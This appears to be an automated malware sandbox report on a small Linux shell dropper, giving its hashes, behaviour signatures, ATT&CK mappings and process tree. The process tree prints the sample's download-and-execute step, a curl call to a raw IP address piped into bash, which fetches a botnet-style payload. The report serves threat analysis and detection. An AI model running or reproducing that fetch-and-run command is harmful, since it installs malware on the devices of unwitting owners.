b1575fcb08bb5812c2e6aad48d9f8116da499c6d2a6ffd0622f3a425ba535b3e

Analysis

max time kernel
0s
max time network
3s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
16/09/2026, 15:11

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General

Target
cirqueira.sh_mips.sh
Size 203B
Sample260916-skranasblc
SHA256 b1575fcb08bb5812c2e6aad48d9f8116da499c6d2a6ffd0622f3a425ba535b3e
MD5 761aef8ccae98c87d56b603eaf8158f4
SHA1 cc64be49b6c0e44d0132331355e761c311265c2e
SHA512 930845ce7d8e8b20acef1ac5ce98bf113cae23ebaf10e934bc648211e51873b9049462b97f120b4f908490f5b3c488d44db861647975deac65846676095ba831
TLSH
T1A8D022C83AC56E219E992B2CB86062F0C11D88D2FCEB80F8C5030801E482B883E08A82
MD5 SHA1 SHA512 TLSH

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
638	cirqueira.sh_mips.sh

/tmp/cirqueira.sh_mips.sh
/tmp/cirqueira.sh_mips.sh
1⤵
- System Network Configuration Discovery
PID:638
- /usr/bin/curl
  curl -s http://94.154.43.227:8080/bins/cirqueira.sh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:643
- /bin/bash
  bash
  2⤵
  PID:644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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